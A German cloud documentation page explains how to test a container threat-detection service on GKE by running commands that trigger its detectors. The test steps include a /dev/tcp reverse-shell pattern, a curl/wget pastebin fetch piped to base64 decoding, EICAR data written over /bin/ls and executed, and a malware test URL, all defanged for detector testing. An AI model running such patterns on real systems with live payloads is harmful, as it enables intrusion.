Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierter Dienst der Premium- und Enterprise-Stufe von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.

Hinweise

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.

Umgebungsvariablen festlegen

Zum Testen von Detektoren können Sie die Google Cloud Console und Cloud Shell verwenden. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

  1. Öffnen Sie die Google Cloud Console.

    Weiter zur Google Cloud Console

  2. Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.

  3. Klicken Sie auf Google Cloud Shell aktivieren

  4. Legen Sie in Cloud Shell Umgebungsvariablen fest:

    1. Die Zone, in der sich der Cluster befindet:

      export ZONE=CLUSTER_ZONE
      
    2. Das Projekt, in dem sich der Container befindet:

      export PROJECT=PROJECT_ID
      
    3. Ihr Clustername:

      export CLUSTER_NAME=CLUSTER_NAME
      

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 18.04 ausgeführt wird und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Binärdatei ab und führen Sie sie aus:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim ersten Erstellen eines Containers vorübergehend hinzugefügte binär ausgeführte Ergebnisse. Wenn Sie beim Einrichten eines Containers alle Ergebnisse der hinzugefügten Binärdateien sehen möchten, stellen Sie dem Containernamen oder Pod-Namen wie im Beispiel ktd-test voran.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 18.04 befindet und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Mediathek ab und laden Sie sie mit ld:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim ersten Erstellen eines Containers vorübergehend Ergebnisse, die über die Bibliothek geladen wurden. Wenn Sie beim Einrichten eines Containers alle Ergebnisse für „Hinzugefügte Bibliothek geladen“ sehen möchten, stellen Sie dem Containernamen oder Pod-Namen wie im Beispiel ktd-test voran.

Ausführung: schädliche Ausführung von Binärcode hinzugefügt

So lösen Sie eine Ausführung aus: Ein schädliches binär ausgeführtes Ergebnis wurde hinzugefügt, legen Sie eine schädliche Binärdatei im Container ab und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und die Binärdatei eine EICAR-Testdatei ist. Diese Datei wurde von den Bedrohungsdaten als schädlich eingestuft.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Löschen Sie die EICAR-Binärdatei und führen Sie sie aus:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

Dieses Testverfahren sollte eine Ausführung erstellen: Es wurde ein schädliches binär ausgeführtes Ergebnis hinzugefügt, das Sie in Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen der Ergebnisse in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim ersten Erstellen eines Containers vorübergehend „Ausführung: schädliche binär ausgeführte Ergebnisse“ hinzugefügt. Wenn Sie alle Ergebnisse vom Typ „Ausführung: schädlicher, binär ausgeführter Ausführung“ während der Einrichtung eines Containers sehen möchten, stellen Sie dem Containernamen oder Pod-Namen wie im Beispiel ktd-test voran.

Ausführung: Geänderte schädliche Ausführung von Binärprogrammen

Wenn Sie das Ergebnis „Ausführung: modifizierter schädlicher Binärcode ausgeführt“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls in eine simulierte schädliche Datei geändert und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da das /bin/ls während der Containerlaufzeit als simuliertes schädliches Binärprogramm geändert wird und das Binärprogramm eine EICAR-Testdatei ist. Diese Datei wurde von den Bedrohungsdaten als schädlich eingestuft.

EICAR, das schädliche Datei testet und dann ausführt. Die Ausführung des Binärprogramms ist unerwartet, da die erstellte /bin/ls während der Containerlaufzeit als EICAR zum Testen schädlicher Binärdateien geändert wird und die EICAR-Binärdatei laut Bedrohungsdaten eine bekannte schädliche Datei ist.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Löschen Sie die EICAR-Binärdatei und führen Sie sie aus:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Mit diesem Testverfahren sollte ein Ergebnis vom Typ „Execution: Modified“ (gefährdete binäre Ausführung) erstellt werden, das Sie in Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim ersten Erstellen eines Containers vorübergehend Ergebnisse des Typs „Execution: Modified Malware Binary Executed“. Wenn Sie alle Ergebnisse von „Ausführung: modifizierte schädliche Binärdateien ausgeführt“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test voran.

Schädliches Script ausgeführt

Wenn Sie das Ergebnis „Malware ausgeführt“ auslösen möchten, können Sie das Script in Ihrem Container mit dem folgenden Verfahren ausführen.

Mit der Prozedur wird das neueste Ubuntu 18.04-Image bereitgestellt, ein schädliches Skript kopiert und dann ausgeführt. Ein Skript muss für den Detektor schädlich erscheinen, um eine Erkennung auszulösen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie das folgende Skript in einem neuen Container aus.

    Dieses Inline-Bash-Shell-Script stammt aus einem Honeypot. Es wurde jedoch so geändert, dass es die schädliche Binärdatei nicht ausführt, sodass das Ausführen des Skripts keine schädlichen Aktivitäten in Ihrem Container verursacht. Das Binärprogramm unter der referenzierten URL wurde möglicherweise entfernt. Wenn Sie versuchen, der URL zu folgen, führt dies zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, eine Binärdatei mit einem Inline-Skript herunterzuladen, zu decodieren und auszuführen.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL erkannt

Um ein Ergebnis für eine schädliche URL auszulösen, führen Sie ein Binärprogramm aus und geben Sie eine schädliche URL als Argument an.

Im folgenden Beispiel wird ein Ubuntu 18.04-Image bereitgestellt und /bin/curl ausgeführt, um auf eine Malware-Beispiel-URL im Safe Browsing-Dienst zuzugreifen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Dieses Testverfahren löst ein beobachtetes Ergebnis zu schädlichen URLs aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging ansehen können. Ergebnisse in Cloud Logging sind nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo mit der Weiterleitung zum öffentlichen Google-DNS 8.8.8.8 am DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird der /bin/bash binary nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "/bin/echo >& /dev/tcp/8.8.8.8/53 0>&1"
    

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Zum Testen des Detektors Unexpected Child Shell können Sie eine Prozessstruktur erstellen, die einen untergeordneten Shell-Prozess enthält.

Im folgenden Beispiel wird ein httpd->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Detektor erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärprogramme verwendet werden. Dieses Beispiel tut Folgendes:

  1. Erstellt eine Kopie des Prozesses bash und gibt ihm den Namen httpd.
  2. Kopiert den Prozess echo und gibt ihm den Namen dash.
  3. Ruft den kopierten Prozess dash im kopierten Prozess httpd auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Sorgen Sie dafür, dass der simulierte httpd-Prozess eine Mock-Shell aufruft:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/httpd; cp /bin/echo /tmp/bash; \
    /tmp/httpd -c "/tmp/bash child ran successfully & wait"'
    

Mit diesem Testverfahren wird ein Unexpected Child Shell-Ergebnis erstellt, das Sie in Security Command Center ansehen können. Wenn Sie Logging für Container Threat Detection konfiguriert und Security Command Center Premium- oder Enterprise-Stufe auf Organisationsebene aktiviert haben, können Sie das Ergebnis auch in Cloud Logging ansehen.

HINWEIS:Der & wait-Teil des obigen Testbefehls ist wichtig. Die öffentliche Vorschauversion des Detektors für unerwartete untergeordnete Shell kann nur übergeordnete Prozesse erfassen, die fork und anschließend eine neue Shell exec. Wenn der Teil „&wait“ des Befehls weggelassen wird, kann der Detektor das Ereignis nicht erfassen.

Nächste Schritte